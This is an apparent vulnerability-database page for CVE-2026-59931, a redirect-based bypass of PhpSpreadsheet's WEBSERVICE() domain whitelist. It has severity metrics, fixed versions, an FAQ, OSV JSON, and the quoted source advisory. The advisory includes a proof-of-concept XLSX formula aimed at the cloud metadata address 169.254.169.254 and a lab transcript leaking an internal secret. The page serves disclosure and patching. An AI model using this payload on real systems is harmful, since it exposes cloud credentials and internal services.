CVE-2026-59931: PHPSpreadsheet SSRF Bypass Vulnerability

HIGH
Advisory Identifier: GHSA-6hq5-7373-42rg
CVSS 7.7
CWE-918
Published
Advisory Summary

CVE-2026-59931 is a HIGH (CVSS 7.7) ssrf bypass vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting PHPSpreadsheet libraries in the Packagist ecosystem. The issue involves ssrf bypass via http redirect in webservice() domain whitelist. Remediation is available by upgrading affected packages to version 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6.

CVE-2026-59931 at a Glance

CVE Identifier CVE-2026-59931
GHSA Identifier GHSA-6hq5-7373-42rg
Severity HIGH
CVSS v3.1 Base Score 7.7
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product PHPSpreadsheet
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-59931

To remediate this vulnerability, upgrade all affected PHPSpreadsheet dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

phpoffice/phpspreadsheet fixed: 5.8.1
Upgrade phpoffice/phpspreadsheet to 5.8.1
phpoffice/phpspreadsheet fixed: 3.10.7
Upgrade phpoffice/phpspreadsheet to 3.10.7
phpoffice/phpspreadsheet fixed: 2.4.7
Upgrade phpoffice/phpspreadsheet to 2.4.7
phpoffice/phpspreadsheet fixed: 2.1.18
Upgrade phpoffice/phpspreadsheet to 2.1.18
phpoffice/phpspreadsheet fixed: 1.30.6
Upgrade phpoffice/phpspreadsheet to 1.30.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for phpoffice/phpspreadsheet

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-59931, inspect your project dependencies for PHPSpreadsheet:

inspect dependencies for phpoffice/phpspreadsheet

Analyze the terminal output to locate any version of PHPSpreadsheet in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.8.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In PHPSpreadsheet, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The domain whitelist introduced in PhpSpreadsheet 5.4.0 for the `WEBSERVICE()` formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL's hostname, but `file_get_contents()` follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect. ### Details In `Calculation/Web/Service.php`, the `webService()` method validates the URL's host against a domain whitelist set via `Spreadsheet::setDomainWhiteList()`. If the host passes validation, the method calls `file_get_contents($url, false, $ctx)` to fetch the content. The stream context does not disable redirect following: ```php $ctxArray = [ 'http' => [ 'user_agent' => 'Mozilla/5.0 ...', // follow_location defaults to true // max_redirects defaults to 20 ], ]; ``` PHP's HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is **not** re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses. **Vulnerable code** (`Calculation/Web/Service.php`): ```php // Whitelist check — runs ONCE on the initial URL $domainWhiteList = $cell?->getWorksheet()->getParent()?->getDomainWhiteList() ?? []; $host = $parsed['host'] ?? ''; if (!in_array($host, $domainWhiteList, true)) { return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED; } // HTTP request — follows redirects to ANY destination $ctx = stream_context_create($ctxArray); $output = @file_get_contents($url, false, $ctx); ``` Additionally, the whitelist check uses only the hostname from `parse_url()`, ignoring the port. This means whitelisting `example.com` permits access to all ports on that host. ### PoC **Prerequisites:** - Application uses PhpSpreadsheet >= 5.4.0 - Application calls `$spreadsheet->setDomainWhiteList([...])` with at least one domain - Application calls `$cell->getCalculatedValue()` on uploaded XLSX files **Attack steps:** 1. Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls). 2. Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL: ```xml <c r="A1"> <f>_xlfn.WEBSERVICE("http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/")</f> </c> ``` 3. Upload the XLSX to the target application. The calculation engine: - Validates `whitelisted-domain.com` against the whitelist — **passes** - Calls `file_get_contents("http://whitelisted-domain.com/redirect?url=...")` - `file_get_contents` follows the 302 redirect to `http://169.254.169.254/latest/meta-data/` — **no re-validation** - Returns the cloud metadata response as the cell's calculated value **Lab reproduction:** ```bash # Setup (PhpSpreadsheet 5.7.0, PHP 8.3) # App whitelists "trusted-api.example.com" # Redirect server on trusted-api.example.com:7071 returns 302 → internal target # Test 1: Direct internal access — BLOCKED by whitelist =WEBSERVICE("http://127.0.0.1:9090/internal-api/secrets") → Result: null (blocked) # Test 2: Via redirect from whitelisted domain — BYPASS =WEBSERVICE("http://trusted-api.example.com:7071/redirect-to-internal") → Result: {"ssrf":"CONFIRMED","secret":"internal-api-key-LATEST","server":"Linux ..."} ``` Confirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain). ### Impact An attacker who can upload XLSX files to an application that uses `setDomainWhiteList()` and `getCalculatedValue()` can: - **Bypass the domain whitelist** by routing requests through a whitelisted domain that redirects to internal targets - **Exfiltrate cloud metadata** (AWS/GCP/Azure instance credentials) via `http://169.254.169.254/` - **Access internal services** not exposed to the internet - **Port-scan internal networks** via any whitelisted hostname (port is not validated) This is a full-read SSRF — the complete HTTP response body (up to 32,767 bytes) is returned to the attacker as the cell's calculated value. **Attack scenarios:** - Whitelisted domain has an open redirect vulnerability - Attacker controls the whitelisted domain (e.g., a free-tier API service) - DNS rebinding after the whitelist check ### Suggested Fix Disable redirect following in the stream context: ```php $ctxArray = [ 'http' => [ 'user_agent' => '...', 'follow_location' => false, 'max_redirects' => 0, ], ]; ``` Alternatively, if redirects must be supported, implement manual redirect following that re-validates each hop's hostname against the domain whitelist. Additionally, consider including the port in the whitelist check to prevent port scanning of whitelisted hosts. ### Related This vulnerability is in the same function as the original WEBSERVICE() SSRF (unrestricted in versions < 5.4.0, no CVE assigned), but is a distinct issue: it bypasses the specific mitigation (domain whitelist) that was introduced in PR #4751 to address the original SSRF. Existing SSRF CVEs in PhpSpreadsheet (CVE-2024-45290, CVE-2024-45291, CVE-2025-54370) are all in the Drawing/image loading code path, not in the WEBSERVICE calculation engine. ---

CVE-2026-59931 Affected PHPSpreadsheet Versions

5 component(s)
Fixed Versions:
5.8.13.10.72.4.72.1.181.30.6
Product / Package Ecosystem Affected Versions Fixed Version
phpoffice/phpspreadsheet
Packagist
≥ 4.0.0
< 5.8.1
5.8.1
phpoffice/phpspreadsheet
Packagist
≥ 3.3.0
< 3.10.7
3.10.7
phpoffice/phpspreadsheet
Packagist
≥ 2.2.0
< 2.4.7
2.4.7
phpoffice/phpspreadsheet
Packagist
≥ 2.0.0
< 2.1.18
2.1.18
phpoffice/phpspreadsheet
Packagist
< 1.30.6
1.30.6

References

Frequently Asked Questions

What is CVE-2026-59931?
CVE-2026-59931 is a security vulnerability in PHPSpreadsheet involving SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist under CWE-918: Server-Side Request Forgery (SSRF).
Which PHPSpreadsheet versions are affected?
Affected versions include releases prior to 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6 across affected packages: phpoffice/phpspreadsheet.
What version fixes CVE-2026-59931?
Upgrading to 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is phpoffice/phpspreadsheet affected?
Yes, phpoffice/phpspreadsheet is affected in releases prior to 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6. Upgrade your dependency to 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6 or later.
What is the CVSS score of CVE-2026-59931?
CVE-2026-59931 has a CVSS v3.1 base score of 7.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-59931?
CVE-2026-59931 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Packagist dependencies for CVE-2026-59931?
Run the dependency tree command: 'inspect dependencies for phpoffice/phpspreadsheet'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6hq5-7373-42rg",
  "modified" : "2026-07-23T14:55:48Z",
  "published" : "2026-07-23T14:55:48Z",
  "aliases" : [ "CVE-2026-59931" ],
  "summary" : "PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist",
  "details" : "### Summary\n\nThe domain whitelist introduced in PhpSpreadsheet 5.4.0 for the `WEBSERVICE()` formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL's hostname, but `file_get_contents()` follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect.\n\n### Details\n\nIn `Calculation/Web/Service.php`, the `webService()` method validates the URL's host against a domain whitelist set via `Spreadsheet::setDomainWhiteList()`. If the host passes validation, the method calls `file_get_contents($url, false, $ctx)` to fetch the content.\n\nThe stream context does not disable redirect following:\n\n```php\n$ctxArray = [\n    'http' => [\n        'user_agent' => 'Mozilla/5.0 ...',\n        // follow_location defaults to true\n        // max_redirects defaults to 20\n    ],\n];\n```\n\nPHP's HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is **not** re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses.\n\n**Vulnerable code** (`Calculation/Web/Service.php`):\n\n```php\n// Whitelist check — runs ONCE on the initial URL\n$domainWhiteList = $cell?->getWorksheet()->getParent()?->getDomainWhiteList() ?? [];\n$host = $parsed['host'] ?? '';\nif (!in_array($host, $domainWhiteList, true)) {\n    return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED;\n}\n\n// HTTP request — follows redirects to ANY destination\n$ctx = stream_context_create($ctxArray);\n$output = @file_get_contents($url, false, $ctx);\n```\n\nAdditionally, the whitelist check uses only the hostname from `parse_url()`, ignoring the port. This means whitelisting `example.com` permits access to all ports on that host.\n\n### PoC\n\n**Prerequisites:**\n- Application uses PhpSpreadsheet >= 5.4.0\n- Application calls `$spreadsheet->setDomainWhiteList([...])` with at least one domain\n- Application calls `$cell->getCalculatedValue()` on uploaded XLSX files\n\n**Attack steps:**\n\n1. Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls).\n\n2. Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL:\n\n```xml\n<c r=\"A1\">\n  <f>_xlfn.WEBSERVICE(\"http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/\")</f>\n</c>\n```\n\n3. Upload the XLSX to the target application. The calculation engine:\n   - Validates `whitelisted-domain.com` against the whitelist — **passes**\n   - Calls `file_get_contents(\"http://whitelisted-domain.com/redirect?url=...\")` \n   - `file_get_contents` follows the 302 redirect to `http://169.254.169.254/latest/meta-data/` — **no re-validation**\n   - Returns the cloud metadata response as the cell's calculated value\n\n**Lab reproduction:**\n\n```bash\n# Setup (PhpSpreadsheet 5.7.0, PHP 8.3)\n# App whitelists \"trusted-api.example.com\"\n# Redirect server on trusted-api.example.com:7071 returns 302 → internal target\n\n# Test 1: Direct internal access — BLOCKED by whitelist\n=WEBSERVICE(\"http://127.0.0.1:9090/internal-api/secrets\")\n→ Result: null (blocked)\n\n# Test 2: Via redirect from whitelisted domain — BYPASS\n=WEBSERVICE(\"http://trusted-api.example.com:7071/redirect-to-internal\")\n→ Result: {\"ssrf\":\"CONFIRMED\",\"secret\":\"internal-api-key-LATEST\",\"server\":\"Linux ...\"}\n```\n\nConfirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain).\n\n### Impact\n\nAn attacker who can upload XLSX files to an application that uses `setDomainWhiteList()` and `getCalculatedValue()` can:\n\n- **Bypass the domain whitelist** by routing requests through a whitelisted domain that redirects to internal targets\n- **Exfiltrate cloud metadata** (AWS/GCP/Azure instance credentials) via `http://169.254.169.254/`\n- **Access internal services** not exposed to the internet\n- **Port-scan internal networks** via any whitelisted hostname (port is not validated)\n\nThis is a full-read SSRF — the complete HTTP response body (up to 32,767 bytes) is returned to the attacker as the cell's calculated value.\n\n**Attack scenarios:**\n- Whitelisted domain has an open redirect vulnerability\n- Attacker controls the whitelisted domain (e.g., a free-tier API service)\n- DNS rebinding after the whitelist check\n\n### Suggested Fix\n\nDisable redirect following in the stream context:\n\n```php\n$ctxArray = [\n    'http' => [\n        'user_agent' => '...',\n        'follow_location' => false,\n        'max_redirects' => 0,\n    ],\n];\n```\n\nAlternatively, if redirects must be supported, implement manual redirect following that re-validates each hop's hostname against the domain whitelist.\n\nAdditionally, consider including the port in the whitelist check to prevent port scanning of whitelisted hosts.\n\n### Related\n\nThis vulnerability is in the same function as the original WEBSERVICE() SSRF (unrestricted in versions < 5.4.0, no CVE assigned), but is a distinct issue: it bypasses the specific mitigation (domain whitelist) that was introduced in PR #4751 to address the original SSRF.\n\nExisting SSRF CVEs in PhpSpreadsheet (CVE-2024-45290, CVE-2024-45291, CVE-2025-54370) are all in the Drawing/image loading code path, not in the WEBSERVICE calculation engine.\n\n---",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0"
      }, {
        "fixed" : "5.8.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.8.0"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.3.0"
      }, {
        "fixed" : "3.10.7"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.10.6"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.2.0"
      }, {
        "fixed" : "2.4.7"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.4.6"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0"
      }, {
        "fixed" : "2.1.18"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.1.17"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.30.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.30.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6hq5-7373-42rg"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/commit/7ef7b25e8548a6ded79dac74e2e2c7acdac38d8d"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-23T14:55:48Z",
    "nvd_published_at" : null
  }
}